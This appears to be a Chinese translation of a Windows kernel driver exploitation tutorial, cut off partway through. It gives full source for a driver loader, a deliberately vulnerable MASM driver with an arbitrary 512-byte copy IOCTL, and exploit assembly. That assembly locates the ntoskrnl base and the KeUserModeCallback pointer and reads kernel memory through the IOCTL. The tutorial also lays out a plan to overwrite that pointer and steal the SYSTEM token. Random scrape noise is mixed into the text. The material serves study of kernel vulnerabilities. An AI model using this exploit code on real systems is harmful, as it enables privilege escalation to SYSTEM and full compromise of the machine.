|
|
设备驱动漏洞现在正在增长成为Windows 和其他操作系统安全的主要威胁。这是一个相关的新领域,但是很少有公开的技术文档讲述这个方面。据我所知,第一个windows 设备驱动攻击是由SEC-LABS小组在Win32 Device Drivers Communication Vulnerabilities白皮书中提到的。这个文章公开了一些有用的驱动溢出技术,并且描绘了未来研究的蓝图。
W' w% \, Y* g2 w 第二个值得一读的文章是Barnaby Jack的文章,叫做“Remote Windows Kernel Exploitation Stepinto the Ring 0”。由于这方面技术文档的缺乏,我决定共享我自己的研究成果。在这个文章中,我将会介绍我的设备驱动攻击技术,提供一些详细的可用技术的细节,包括完整的攻击代码和用于测试的样例驱动的代码。
) q+ Y. O: a& y1 n& C) v 读者需要拥有IA-32 汇编阅读能力和软件漏洞攻击经验。另外,强烈建议你要去阅读之前提过的两篇白皮书。* d' j5 ?% ~' ?$ t' }$ R& i
实验环境的组建
6 q2 x# T& I9 b, H8 I 过程中我使用了我的小型“实验室”:
, G; Y. u: k" l, k - 一台1G 内存的电脑;7 x5 R% P4 D& I% K6 a* l9 e; i
- 虚拟机软件,比如Vmware;
0 W! ?( m- \* { - windbg 或者softice。我在VMware 中使用第二种,但是它并不怎么稳定;3 q+ |/ x8 u, I1 F3 I: V
- IDA 反汇编器;) z4 M2 _4 V+ l7 ]% W5 Q- n
- 一些软件我会在后面提到。
8 K7 F* }( E9 O0 c1 r- p5 G! Y 在虚拟机和主机之间使用pipe 进行远程调试,但是通常其他方式更好一点。如果你想进一步研究驱动的话,这个环境的组建是非常重要的。
& z: Z4 [/ s; F$ ~ p 用户态代码(软件)在Ring3 模式下运行(它没有访问Ring0 模式的权限),并且不能直接访问操作系统的函数,如果想使用这些函数只能通过call请求他们。这个叫做函数封装。用户模式内存地址是由0x00000000 到0x7FFFFFFF。
0 T( w* r0 A& \; T' Z Windows 系统使用了两种权限模式(ring0 和ring3)。; @' z) l$ `7 U! f4 j
Driver loader
' F/ q+ m. u5 f+ n- d 在我发布那个简单驱动之前,我们先来简单看下如何加载它。这是实现这个功能的代码:
2 f0 x/ c; W# H# B+ J" A /* wdl.c */ 8 n: |% a4 s1 N1 w" a, ?# D* \
#define UNICODE % V; l, | e$ H; m3 z% w
#include 0 V% v$ B: l) A. P9 Y
#include
I* q; m- q8 M) C #include ) H" Y$ A$ Q& o5 S( W# S6 n6 v
void install_driver(SC_HANDLE sc, wchar_t *name)
: |( K+ l/ E H' @ {
/ G, N* A9 f% a SC_HANDLE service;
6 v( E/ s+ Z7 N8 p% k wchar_t path[512];
3 G3 h+ `: C. A M" A7 Z wchar_t *fp;
' J# _ |3 p+ l if (GetFullPathName(name, 512, path, &fp) == 0)
, ~, t. s: O* p$ {! b" Q { 9 Z5 n1 l1 G& d" m
printf("[-] Error: GetFullPathName() failed, error = %d\n",GetLastError()); / p' Y0 z( f1 M6 Y: R
return;
4 U* i4 b2 ^" ~- V! i5 M+ U2 f }
2 i# D* t4 \+ J+ J- W* c% w service = CreateService(sc, name, name, SERVICE_ALL_ACCESS, \
% b3 f; _: v+ E" p( E SERVICE_KERNEL_DRIVER,
1 v/ S' I8 D4 [, f, | SERVICE_DEMAND_START, \ " [0 Y' j1 w: c
SERVICE_ERROR_NORMAL, path, NULL, NULL, NULL, \
2 e6 z( x) {7 B; I8 q( `5 a NULL, NULL);
9 ~. o8 _' Y1 V6 O4 o if (service == NULL) " N! i# ]( U3 g! c; T1 K
{
" {7 }2 R4 p6 L1 X( C# W% `6 M( d printf("[-] Error: CreateService() failed, error %d\n",GetLastError());
, _6 K5 I0 b {# X return;
7 c- q3 B9 |, _) H5 b }
0 Y- Q/ L/ R9 E+ k printf("[+] Creating service - success.\n"); 6 S) |5 u/ _& J( r
CloseServiceHandle(sc); % ], @2 D2 N9 m. e M* j9 F
if (StartService(service, 1, (const unsigned short**)&name) == 0) 3 j4 b, z/ x7 @! ?) g5 T' `
{
, r- A. j, o, ?# n printf("[-] Error: StartService() failed, error %d\n", GetLastError()); & `) L+ E0 q# f2 Y2 l" z
if (DeleteService(service) == 0) " c5 Z P/ W( _0 @
printf("[-] Error: DeleteService() failed, error = %d\n", GetLastError());
3 i1 ?5 _, h9 Z1 \) X/ \, N2 n return;
" Z+ }4 r4 j# Q9 O0 @" D, [ }
$ Y3 ?5 e, o6 {- T& ^ printf(" Staring service - success.\n"); : L* f1 Q/ J# b; t
CloseServiceHandle(service); : Y5 R$ _8 {+ g9 a/ t
}
4 Y, [* n3 \) d; N) a# Q% J void delete_driver(SC_HANDLE sc, wchar_t *name) 8 w8 a3 s/ l4 J8 U' W
{
3 y3 C) i! g' p8 t SC_HANDLE service; 7 C6 E7 ]( `. O3 T! P# s$ U. q
SERVICE_STATUS status;
' T# C& c1 ?3 ]( l5 e& V* ] service = OpenService(sc, name, SERVICE_ALL_ACCESS); ) x+ s& D, X: g- ?' n6 E
if (service == NULL)
3 r$ S' b- C$ g7 l, D { \2 n S1 `' Y+ D8 `
printf("[-] Error: OpenService() failed, error = %d\n", GetLastError()); + f9 ]. m5 a R
return; : x' S9 I$ K; R
}
, y% C: i& `; U printf("[+] Opening service - success.\n"); , k. I# J# }' P5 ]7 g8 H( ~2 r
if (ControlService(service, SERVICE_CONTROL_STOP, &status) == 0) 6 E# L6 v7 }0 I4 e
{
, w7 G5 i# H! ? printf("[-] Error: ControlService() failed, error = %d\n",GetLastError()); # Z" y+ X8 o, ^/ x7 i
return;
. F5 A* x4 I/ Q, |: c. S } + D# k0 G2 [. B: K
printf("[+] Stopping service - success.\n");
[+ j8 x+ o3 S* [, j if (DeleteService(service) == 0) {
& U6 \ {+ d: k5 ~ printf("[-] Error: DeleteService() failed, error = %d\n", GetLastError()); + m! j7 S; K; l: i. H, O6 m
return;
4 |9 v: T1 }4 a% R& q+ y W. \+ e) v; o }
. i$ z0 Z3 v: X; z printf("[+] Deleting service - success\n");
- U+ T9 T, C5 }; x2 Z- |! V1 e CloseServiceHandle(sc);
1 Z; E8 r7 l4 }, H; T: Z+ F } 5 e. g9 F d7 |& j$ S
int main(int argc, char *argv[]) 6 c5 ?( }. d: w% U& |9 m R
{
; E5 i1 P4 N$ A) E int m, b; - X+ @5 y, b- z. @1 d# `' X. n- g9 n
SC_HANDLE sc;
6 L$ r1 R; u2 ^* P; B+ z6 b wchar_t name[MAX_PATH]; : F- H0 u6 x; u; C: K0 u3 z
printf("[+] Windows driver loader by Piotr Bania\n\n"); 0 W( V0 I, v4 `' `' ~( u
if (argc != 3)
, S! j6 P% ?) a, ]! `: {9 ~ { . ?% [0 i! T' \
printf("[!] Usage: wdl.exe (/l | /u) driver.sys\n"); . l1 @% u+ V3 I. @4 }/ M' w3 E
printf("[!] /l - load the driver\n"); 4 U( k1 I; A y* D" k. ~
printf("[!] /u - unload the driver\n"); 5 {) W$ L8 z) H
getch();
% ?& }2 F @3 V+ K4 `+ m9 D return 0;
- [. d# m3 ^$ {: a: A }
9 \2 C5 S! q4 @( d7 n' w if (strcmp(argv[1], "/l") == 0)
& j9 N! J& X7 U% D" T' c# I7 A m = 0;
+ ~. c: {' y5 n3 d else 2 ^" ^* s" O; J; s0 o: |
m = 1; // default uninstall mode
9 ] ]% {+ I" ^4 e3 q sc = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE,
$ ? s! E |2 G7 W& f2 p& T SC_MANAGER_ALL_ACCESS);
T- r6 P, J( F5 }8 p. V if (sc == NULL)
; |5 a: G8 Y1 U9 i { ( o: p' ]# z( P9 k! r. j
printf("[-] Error: OpenSCManager() failed\n"); ; \+ h- ^9 S* G0 O
return 0; . }3 F! r/ N. ]" U9 {7 g0 c5 F
}
; H: }$ I, T, c) m, z/ {7 Y b = MultiByteToWideChar(CP_ACP, 0, argv[2], -1, name, MAX_PATH); ! R9 ]6 x/ e$ S- ~/ H
if (m == 0)
7 u' P! F& c- @6 X {
0 J ^& U6 i* x1 R+ @1 U printf("[+] Trying to load: %s\n",argv[2]);
5 t# P1 l4 p+ ]0 n$ X. Y install_driver(sc, name);
+ U$ Q( i6 u% ~/ a/ S3 ^ } ' t7 G& X7 b" W) b
if (m != 0) 3 T) C' G; r' a q
{
+ V3 M& G5 L# J5 M: l' H/ K printf("[+] Trying to unload: %s\n",argv[2]);
3 O; Y0 U( ~: l; [7 y1 b delete_driver(sc, name); ) h2 x* @; Y9 w6 c
}
# [: S5 [( f) T: T getch();
# v% p* w t- e0 b1 h/ V) q: S }
8 u- ^$ _4 P3 d w0 y /* wdl.c ends */ ( H0 j; y- O$ {6 c+ B
6 @3 ?0 a6 c: Q' t0 y/ @
% k8 u8 C# A- C! a/ p: P; E 含漏洞的驱动样本
$ B3 Q5 o0 D- P h9 y1 h 这是含漏洞驱动的样例代码,我们将会在文章接下来尝试攻击它。这个驱动的基于Iczelion 的框架模型。
. j6 ]* {8 ?5 R, H3 {) {: h% E B. p ; buggy.asm start
i1 s! h* [# p' I, ]. T; u0 Q .386 H i# e' l0 `8 @
.MODEL FLAT, STDCALL
) `6 ?% S! ~- b& _" `0 }' \ OPTION CASEMAP:NONE
' Q! _5 u, c, u' j; p INCLUDE D:\masm32\include\windows.inc 2 u z# _) |2 C" h s
INCLUDE inc\string.INC ; e& E% D( ?# Q
INCLUDE inc\ntstruc.INC
3 M( |! V: S5 o3 } INCLUDE inc\ntddk.INC
! `8 ]$ a& `* J! O r INCLUDE inc\ntoskrnl.INC ) z! V7 l4 ]; ]) w! V
INCLUDE inc\NtDll.INC ; ~' [3 }: O0 y
INCLUDELIB D:\masm32\lib\wdm.lib
: n& g: \" d9 {! M* M INCLUDELIB D:\masm32\lib\ntoskrnl.lib
" B( Y4 U* N( g7 ]9 Z4 C INCLUDELIB D:\masm32\lib\ntdll.lib / k! }, l0 P2 ^8 `8 ~. s; k3 L9 V
.CONST . J9 G+ J1 c9 |( g) V4 V3 w% n
pDevObj PDEVICE_OBJECT 0
, {# Q! j7 W% w. Q2 E* ~) k( Q TEXTW szDevPath, <\Device\BUGGY/0>
) u R8 [! ?! C TEXTW szSymPath, <\DosDevices\BUGGY/0> 6 d: K" v* L- h" j" K
.CODE
1 A& C0 ^4 d9 ^6 O0 F assume fs : NOTHING - i! v# D1 R. i. j) o0 T/ T, a% R7 w
DriverDispatch proc uses esi edi ebx, pDriverObject, pIrp
( t+ I& k9 T7 K4 V1 Z& Q mov edi, pIrp - ~2 Z9 r2 e$ l0 J" T6 J8 x F
assume edi : PTR _IRP 8 z+ a) E$ g+ m# N9 @- P1 L7 q S- W
sub eax, eax , l' E1 S9 [+ o9 M$ q1 u0 d
mov [edi].IoStatus.Information, eax
5 c! a6 E0 {% J- [% Y1 x; z' g: ~- J mov [edi].IoStatus.Status, eax
3 i8 x- ?* p" B. m. w3 b assume edi : NOTHING % R4 s+ k q" B1 n5 s, }
mov esi, (_IRP PTR [edi]).PCurrentIrpStackLocation
9 P) `$ g, @' u* f" V% B5 h+ ^ assume esi : PTR IO_STACK_LOCATION
) W6 K' [# W: Y' {! i .IF [esi].MajorFunction == IRP_MJ_DEVICE_CONTROL
0 E3 J- s$ I6 A( V( x: f mov eax, [esi].DeviceIoControl.IoControlCode
: ^+ J5 _# n) ^" {+ o1 ` .IF eax == 011111111h . `0 P- i7 f% U5 Z( P0 G! g
mov eax, (_IRP ptr [edi]).SystemBuffer ; inbuffer 4 D: Y3 S7 N# D3 J! ~
test eax,eax 6 t3 l a2 r! }
jz no_write . j4 }$ m% A; _5 e6 C
mov edi, [eax] ; [inbuffer] = dest
+ o4 c( |7 S( T$ J( j+ ]$ r mov esi, [eax+4] ; [inbuffer+4] = src . e1 I3 ?/ c h5 s# ~
mov ecx, 512 ; ecx = 512 bytes # @: h$ {# U* A5 c7 M O+ y" [- V% j
rep movsb ; copy 3 i. }# u. I- \% R
no_write: 3 A" D( m/ d' E6 b% y
.ENDIF " E' L% a5 f# N3 h9 i
.ENDIF ^2 t! I4 l" y' m& T2 J' B5 _
assume esi : NOTHING
0 f1 h6 q& g! ]. N4 \/ o mov edx, IO_NO_INCREMENT ; special calling
) p8 J/ K m2 z! T. _& ` mov ecx, pIrp
& Z7 n% K$ |3 B# O% ~. e' L& C call IoCompleteRequest
1 @3 f4 L4 N4 V2 K* o. x: H% M% T* a mov eax, STATUS_SUCCESS
2 o+ r0 R, `* H" L3 J& K ret
) ?" J+ Z2 y4 l( w! f/ Y7 Q DriverDispatch ENDP 2 u6 ] x. z5 B/ P
DriverUnload proc uses ebx esi edi, DriverObject local usSym : UNICODE_STRING i6 Z O. L3 E' x m0 N3 v. P
invoke RtlInitUnicodeString, ADDR usSym, OFFSET szSymPath 5 h. H# A0 l5 K# B3 i) ?
invoke IoDeleteSymbolicLink, ADDR usSym
. `( T- K" s+ p$ _4 u invoke IoDeleteDevice, pDevObj : P. e4 V1 {6 { y H/ a$ |/ e
ret
) _7 T) j4 q: b! Z+ @9 _ DriverUnload ENDP : f; V, ]8 ]3 N0 P) R+ \# w! `
.CODE INIT 6 a% @ a& P0 g
DriverEntry proc uses ebx esi edi, DriverObject, RegPath 0 m0 E; p* I! m+ x5 Y) U
local usDev : UNICODE_STRING 0 F& }& S' p+ |. F' x7 n7 ^
local usSym : UNICODE_STRING
6 ?) r7 O. A, q' g B8 l invoke RtlInitUnicodeString, ADDR usDev, OFFSET szDevPath ( b- x) W2 x" p
invoke IoCreateDevice, DriverObject, 0, ADDR usDev, FILE_DEVICE_NULL, 0, ! E t% f% k3 j# l$ O& W* h+ i
FALSE, OFFSET pDevObj
, a0 ^8 r8 x G/ e test eax,eax 5 T" \" W4 X3 `1 V
jnz epr ! D9 H$ E2 {4 C
invoke RtlInitUnicodeString, ADDR usSym, OFFSET szSymPath 3 Y& S# h; z" m$ i8 h4 ]
invoke IoCreateSymbolicLink, ADDR usSym, ADDR usDev , X9 m- O) }" }! B
test eax, eax - {. a* q4 \3 K' `- t/ a
jnz epr
2 n6 D9 m! t } mov esi, DriverObject
6 I5 Y" C) s- n. X+ W% | assume esi : PTR DRIVER_OBJECT
8 r! o& z7 y. {6 K7 e( c6 A8 H mov [esi].PDISPATCH_IRP_MJ_DEVICE_CONTROL, OFFSET DriverDispatch
3 z5 l7 ^) [% `: S$ h! p mov [esi].PDISPATCH_IRP_MJ_CREATE, OFFSET DriverDispatch $ c" i4 g( ]1 W2 x
mov [esi].PDRIVER_UNLOAD, OFFSET DriverUnload 9 o O9 ^; z" o, y5 L% k& [: O+ Q
assume esi : NOTHING
( [, U) S {& |0 T; Y* Z1 g mov eax, STATUS_SUCCESS 7 J3 U; R3 [- E
epr: ' m6 I$ c! U& {3 _
ret . m" S; n9 S! U8 b) L5 {
DriverEntry ENDP e1 g% L8 W6 @# ~& [4 M4 d
End DriverEntry
% H3 }- L9 g( p; e" @& I( H% _4 y ; buggy.asm ends * h5 X: U8 z$ h) k/ I
F1 w" D, l" T+ E& b7 S h
u. y( f7 X: \) ?. ]
漏洞分析# H( ~8 ?9 h, }% H6 z$ W4 K" ]
你可以在上面的代码中发现一处明显的漏洞:. y. {' v+ U( n) r) T
.IF eax == 011111111h $ s7 i" O- f% B k+ ], }
mov eax, (_IRP ptr [edi]).SystemBuffer ; inbuffer
8 V# T9 n5 z( y3 T3 s& F+ ^0 m4 z2 C test eax,eax : U/ S a& h. a
jz no_write & T& K( f! s! i6 D4 p* V/ d& ^% \: e5 P
mov edi, [eax] ; [inbuffer] = dest
! ?- [. h2 H0 `: v$ B" T mov esi, [eax+4] ; [inbuffer+4] = src
# Y' R; m$ T7 J1 V mov ecx, 512 ; ecx = 512 bytes
! _) a& y) n8 x rep movsb ; copy 0 U! ]0 B4 T- F% d+ ^/ b
no_write:
8 Y) X' `' s2 v/ s& g+ h7 H .ENDIF 1 _% m8 M l6 z7 l& B
9 t P. @ O" |4 J$ e9 {( L5 g, \0 A* S, r9 ]
如果驱动获得eax 等于0x011111111,它会检测lpInputBuffer 参数的值。如果他等于空,则什么也不发生。但是当参数不同于0 时,驱动从送入的缓冲区中读取数据(源代码描述)并且从源内存中拷贝512bytes 到目的区域中(如果你愿意,你可以将它看作memcpy())。现在你也许会想,对于这样一个如此简单的memory corruption 利用又有什么难度呢?当然,这个漏洞看起来十分容易利用,然而你有没有意识到事实上你并不能写入数据到驱动中。我想你应该十分明白看到搜索硬编码堆栈地址作为目标内存参数是完全没意义的。同样的,如果你说这样的漏洞不存在于流行软件中,那你就错了。此外,这里提到的利用技术你可以利用来攻击多种类型的memory corruption 漏洞,甚至那些被称为off-by-one 的问题,这些问题是值覆盖内存并且攻击者不可控——不要限制你的思维(好吧,很多时候:))。让我们开始寻找上面那些问题的答案。$ F) a, a( k" A
目标:定位可写数据8 m1 n5 t+ X! T$ A/ U. y7 t
首先,我们需要定位一些我们可以利用的内核模式模块,这些模块需要在大多数Windows 操作系统中都是存在的(我的意思是只限于NT 系统)。一般来说这样可以提高在不同机器上的攻击成功率。现在让我们来看看Windows 的真实内核——ntoskrnl.exe。
! b8 O3 _& s& c9 a. E( `- S 我们先来看看引出的函数:
6 ?# ]0 N2 k. s. n' f) F - KeSetTimeUpdateNotifyRoutine
% g ]- Y4 X: x" R9 S) E& ` - PsSetCreateThreadNotifyRoutine
3 n6 _5 s& ^1 e* I$ n7 a1 v! d - PsSetCreateProcessNotifyRoutine
. q% N, o, m4 K3 m" R - PsSetLegoNotifyRoutine : \0 b: L5 y0 v0 i, T' K
- PsSetLoadImageNotifyRoutine
! P9 B9 K( e* \* s, Q/ V# [. S) _1 T5 e9 ]
: q! |9 b( F1 c ^6 ^! n 看起来这些都是非常有用的,现在我们以KeSetTimeUpdateNotifyRoutine为例分析下是否可以被我们利用。
& G* C$ U7 I* n1 T$ D K% o5 A- D9 D; } h" O
函数会将ECX寄存器值写入到我命名为KiSetTimeUpdateNotifyRoutin 的内存地址中。
0 d( m6 R7 H* t8 k/ }) s' y
- Q& O" T- Z) k5 m! `" O 现在我们看看调用这里的地方:
9 F- W, A+ m( s0 |2 c6 Y& x 如同你见到的那样,在0x8053513B 位置,指令将会从KiSetTimeUpdateNotifyRoutine内存地址(当然它得非0)执行。这样我们就可以将KiSetTimeUpdateNotifyRoutine 改写成我们希望执行的内存地址。但是这个方法存在着一些问题,我曾经对比过一些windows内核发现,他们中很多在执行call "routines"(比如call dword ptr [KiSetTimeUpdateNotifyRoutine])时会发生丢失现象,因为他们中有些仅仅只是写入或者读取操作,而不是执行。这个结果令我非常失望,于是我开始寻找其他的有用的缺陷代码点。通过对比一些内存中的调用,我发现了以下的地址:
, q* ?4 e: S9 h1 u# `( m! S. i2 e3 K( x8 l% Q( o9 f) G& F
0x8058697A 处的指令好像是被预置的,而且在所有我看过的内核中都是可用的。这个给我足够的结果可以用来进行攻击了,现在让我们来计划下如何攻击吧。
' m, ?$ \1 L3 h5 ^0 Z& ~; D 注意:还有一些其他位置的资源我们可以利用,你甚至可以邪恶的安装你自己的System Service Table或者其他更核心的东西。0 p% G9 _& r- \" b. u
攻击计划" |0 l6 `" D) ^& U' B8 I
这里是几个我们攻击这个漏洞的关键点:
% H9 Z4 K" A' i @/ C# `9 f# M' v 1) 定位ntoskrnl.exe 基址——这个地址会在Windows 运行时改变。: U4 s' F }: A, o- t
2) 加载ntoskrnl.exe 模块到用户层空间,获得KeUserModeCallback_Routine 地址,最后加上ntoskrnl 基址,求的当前地址。
( Z& a- J) }8 Y( D5 g" w 3) 发送一个信号,并且从KeUserModeCallback_Routine 地址处获取512bytes(由于漏洞的性质,我们有这样的可能,当我们会改变KeUserModeCallback_Routine 的4 字节时这样能够增强我们利用程序的稳定性)。' ?& Z1 b% N- ]# z$ R
4) 发送一个包含特殊构造数据的信号(正如我们之前提到过,覆盖KeUserModeCallBackRoutine 的值,并且使它指向我们的内存(shellcode))。& ]4 p' m+ @* f
5) 开发特殊内核模式下的Shellcode(当然,shellcode 在第四步之前或者第四步的时候就需要做好了,现在是执行他。)& N6 ? [- M8 `4 G( G2 ~
5-a) 重设KeUserModeCallback_Routine 指针5 Y8 ?: S# X+ s. Z* C, c: ~ G
5-b) 给你的进程SYSTEM 进程token。
, `; t7 Y" K! e6 D+ f$ O* L- | 5-c) 执行正确的KeUserModeCallback_Routine。
" G1 ^. R; N6 c# Y" g E 关键点1:定位ntoskrnl.exe 基址
% `$ { Z2 Z+ X! x/ F Ntoskrnl (windows 内核)基址会随着每次系统的启动而改变,因此我们不能硬编码它的基址,这样是没什么作用的。简单地说,我们需要从哪里获得这个地址呢。我们可以使用SystemModuleInformation 类的native API NtQuerySystemInformation 获得。接下来的代码会为我们描述这个过程:
4 U. f f5 U! N4 r, O NTSTATUS WINAPI NtQuerySystemInformation(
) \+ k* K. B/ y! I/ s+ L __in SYSTEM_INFORMATION_CLASS SystemInformationClass, ( O+ a8 V9 z5 b# y" m
__inout PVOID SystemInformation,
& {4 h L- _# S; L; H* p; V+ B+ S __in ULONG SystemInformationLength, : ~0 S2 x8 c/ \4 j- H
__out_opt PULONG ReturnLength
5 Z# t8 V1 v& }/ i2 U! g );
/ c6 w$ O, q; u+ _, s ; ------------------------------------------------------------
! ~& N" X9 } d ; Gets ntoskrnl.exe module base (real) 2 K4 T# q. T1 a7 ]: i
; ------------------------------------------------------------ ; [3 ]# u: t) \, t( `3 ]: a2 S5 |
get_ntos_base proc 3 r& ~8 e: u' ^$ G! x& a+ K
local __MODULES : _MODULES + x4 v; H2 ]7 d) S
pushad
9 O6 r' |- p- J4 I2 _ @get_api_addr "ntdll","NtQuerySystemInformation"
$ _1 Q9 U2 s9 k1 E5 e9 B9 S1 Z9 `( Z6 i @check 0,"Error: cannot grab NtQuerySystemInformation address"
. {( A; h5 S2 w1 S" Z. k mov ebx,eax ; ebx = eax = NTQSI addr
& d( G8 W# b- E( y# l! ^ call a1 ; setup arguments 9 ^, n% N- R" x* ~3 z+ w$ p/ {$ {
ns dd 0
, I0 I4 Q) }' ^3 S R a1: push 4
6 Y' }/ Y# M$ ~. y: ^; u3 ^ lea ecx,[__MODULES] % |4 T( e# h) x" n# F) G4 C: c2 e
push ecx
( p/ |! `% f0 B0 p4 a push SystemModuleInformation
) ^% w4 d5 \ Y: W8 ~ ~2 r call eax ; execute the native
) x) g# j0 _3 \. x cmp eax,0c0000004h ; length mismatch?
, S$ t' M8 ]$ e jne error_ntos
& U, `5 j+ t, ]+ K% A push dword ptr [ns] ; needed size 6 i! c* d, T: a% j3 y; {1 O
push GMEM_FIXED or GMEM_ZEROINIT ; type of allocation 0 E! x" Y0 e: G- y R# Q1 [6 H
@callx GlobalAlloc ; allocate the buffer 5 R4 l! h9 h. F& s6 M
mov ebp,eax : }8 j9 W' q1 [" B" \
push 0 ; setup arguments 3 i% Q& j2 e8 S2 m) g
push dword ptr [ns]
2 X+ Z( K% f) M6 s y) l% m' X push ebp
. p: x4 w3 A* E. P8 a7 ]* C push SystemModuleInformation % [' m; ]1 ?1 W# t# v
call ebx ; get the information
; i& \* ?; Q. Y. P test eax,eax ; still no success?
3 g; x6 c l! I0 }2 }1 \ jnz error_ntos ( P, M" I- o4 _8 a: ?3 z
; first module is 9 ?) \' n8 Y* H; M
always
5 Q2 ]3 P0 G a ; ntoskrnl.exe
7 T4 ]" m/ t# b) [" H: {' i mov eax,dword ptr [ebp.smi_Base] ; get ntoskrnl base ! @; P& J8 @. R6 Y& F+ E4 w X: f
mov dword ptr [real_ntos_base],eax ; store it
# t! ^. ^, T- E% [" ]# s push ebp ; free the buffer M8 ^! O" R* ~/ u+ A$ s
@callx GlobalFree , s- C1 i1 z( b4 E# E' i
popad - w& S: t( y$ K1 r1 N
ret
8 d. k# K+ e# S9 x& R( r, k n error_ntos: xor eax,eax * \3 w6 K* `% z* I5 z$ {. {$ g6 Z
@check 0,"Error: cannot execute NtQuerySystemInformation"
- ]$ q9 G* s: y4 w- n5 \ get_ntos_base endp
% L1 b) m$ f* \ _MODULES struct
( v4 N/ d: L3 W& A; V7 T dwNModules dd 0
$ u* F( M& E0 D) c0 l ;_SYSTEM_MODULE_INFORMATION: 3 ?4 ]: y! b! [& P4 @( ?. _
smi_Reserved dd 2 dup (0) 5 I# L3 J5 S1 R7 K
smi_Base dd 0 0 D, s$ i ^9 `3 t6 A0 ~ S) s) a2 }
smi_Size dd 0 / ~3 o, o5 T8 ~7 ~
smi_Flags dd 0 3 u: B% i% i6 ^: H7 e
smi_Index dw 0 , I7 {! [$ c% f$ Y& t) v
smi_Unknown dw 0
) F) [. C& X3 y0 T. G, V9 C2 {1 H smi_LoadCount dw 0
; A) y$ @; m, z" c( @ smi_ModuleName dw 0 & C$ z& d) ?- T. k: Q- c/ |# n' n
smi_ImageName db 256 dup (0)
& E; c; J% t4 k" ?, r: G ;_SYSTEM_MODULE_INFORMATION_SIZE = $-offset + P# z+ a a+ X$ ~
_SYSTEM_MODULE_INFORMATION
2 O) M0 a) f8 v4 D6 U" ~, G$ N' }/ k2 z ends
# {! ]* y: N" s! o: y7 j6 u5 ]- k, i- ~5 l" g! D) ?8 c" Z6 _7 ^# l
& `- Z' w% X! ?9 ]% X/ e 关键点2:加载ntoskrnl.exe 模块,并获得KeUserModeCallback_Routine 地址
/ X. r& c6 G7 S+ t% p 加载ntoskrnl.exe到程序的空间非常简单,我们可以使用LoadLibraryEx API 实现。不同的Windows 内核有不同的KeUserModeCallback_Routine 地址,因此我们需要获取当前的地址。正如你所看到的call 请求那样(call dword ptr [KiSetTimeUpdateNotifyRoutine]),请求总是来自低于KeUserModeCallback 函数的地址。我们会利用这个特性,我们需要找到KeUserModeCallbac 地址,搜索特殊的call 指令代码(0xFF15 byte),经过简单的计算我们就可以得到KeUserModeCallback_Routine 的地址。代码我们举例说明:4 q- M# t. t3 `# s. i8 b E
; ------------------------------------------------------------ , b5 v$ Z' R: ?) ?: x
; finds the KeUserModeCallback_Routine from ntoskrnl.exe
6 j4 T& f. S/ Q) {* Y) Y/ Z ; ------------------------------------------------------------
2 e; D4 z1 v% s2 }+ X: H( t# k! f+ V find_KeUserModeCallback_Routine proc
6 o1 N4 N4 w8 d, K5 ] pushad , e7 O0 o8 d) w8 |" _. Z/ ~1 S
push 1 ;DONT_RESOLVE_DLL_REFERENCES 1 z% N' c* S. o) T+ O8 h( F5 Z/ C) C
push 0
0 U5 u% w2 |( {3 G6 K4 H/ l @pushsz "C:\windows\system32\ntoskrnl.exe" ; ntoskrnl.exe is ok also 2 p/ t4 y2 l# x
@callx LoadLibraryExA ; load library 2 {# K( E& z2 @4 U) {
@check 0,"Error: cannot load library"
1 j: ^ P2 e" q, T. T mov ebx,eax ; copy handle to ebx
: B, I* Y: K5 m @pushsz "KeUserModeCallback" * y4 y) p2 o! Y. Y8 ?: I# O# P/ }: \2 O
push eax
9 J- C7 d3 a/ Y% F- a* W @callx GetProcAddress ; get the address
0 |3 }) L% I+ g/ ] mov edi,eax
2 H* b+ H$ I" Z0 a5 b. r @check 0,"Error: cannot obtain KeUserModeCallback address" , `9 o: q, i7 N7 m4 ^) h; }5 h
scan_for_call: 3 c( ~+ Y; v! [
inc edi . @$ l) r4 B# i! w. {9 R& H
cmp word ptr [edi],015FFh ; the call we search for? e. K" U/ ~( O0 J5 X
jne scan_for_call ; nope, continue the scan , _5 z* q4 f4 j" s; X* c+ f J4 D7 k3 A
mov eax,[edi+2] ; EAX = call address
8 z0 ]4 }0 |! K) [0 B mov ecx,[ebx+3ch] ; d% f, S! l% n X2 \5 e
add ecx,ebx ; ecx = PEH
7 R) S, v, ] w- E E$ s mov ecx,[ecx+34h] ; ECX = kernel base from PEH
0 p' U9 c& |) G1 h sub eax,ecx ; get the real address 7 E+ O& j8 a+ ^! j5 ~6 Q) G+ |7 q
mov dword ptr [KeUserModeCallback_Routine],eax ; store 5 }) q9 g& D+ s% o
popad ; y6 d7 h. g& U1 Q: Z
ret
% Q: @) G+ X( J( y1 K& K find_KeUserModeCallback_Routine endp
* N5 e7 m+ _1 d/ e. {# p6 c
( |& u2 Z B- \7 @0 ~5 J0 a/ L+ n* V! n0 C) X/ n
关键点3:发送一个信号,从KeUserModeCallback_Routine 地址处获得512 bytes, r- G V, j( S
当我们使用一些代码覆盖512 bytes 的内核空间时,我们有很大可能会导致机器崩溃。8 @9 E$ b1 L. L1 S1 R6 _( ?% Q
为了避免这种情况,我们会使用一些狡猾的方法:发送一个包含我们可以从原始ntoskrnl 数据中获得的lpInputBuffer 结构信号,就像下面的exploit 代码中演示的那样:
( N+ `: w- P1 [. Z& z9 g D_PACKET struct ; little vulnerable driver
0 ~5 D( [4 h; y8 F6 N" m dp_dest dd 0 ; signal struct & b# y( {& ~& W* V2 Z
dp_src dd 0 3 H7 l7 @/ Z# v2 X2 z. x; ~
D_PACKET ends
) A% v, C. W' z- @. j: f( C ; first signal copies original bytes to the buffer ; J6 }; H/ Y8 k' ~& n2 v
mov eax,dword ptr [KeUserModeCallback_Routine]
& j; S8 O8 h, |( o+ m$ D& S# j mov dword ptr [routine_addr],eax
4 m% D: \2 s0 z% `) Y- Q( P" \ mov [edi.D_PACKET.dp_src],eax ; eax = source
, w, B2 ~- r) X! {0 Y, x mov [edi.D_PACKET.dp_dest],edi ; edi = dest (allocated mem)
2 O0 n2 \! w( E7 j0 Q add [edi.D_PACKET.dp_dest],8 ; edi += sizeof(D_PACKET) ( a* E5 M$ q7 V, L( r
mov ecx,512 ; size of input buffer ) u# Z4 t8 j' O& e, k- o
call talk2device ; send the signal!!!
- r X, O( h! J3 o1 t3 ]3 b ; code will be stored at edi+8
# i% O# i; ^; i) \0 Y E$ N% t8 Y/ t- R6 `3 G5 j* ]* F0 C
* t5 F1 s0 b4 P. X
关键点4:覆盖KeUserModeCallback_Routine
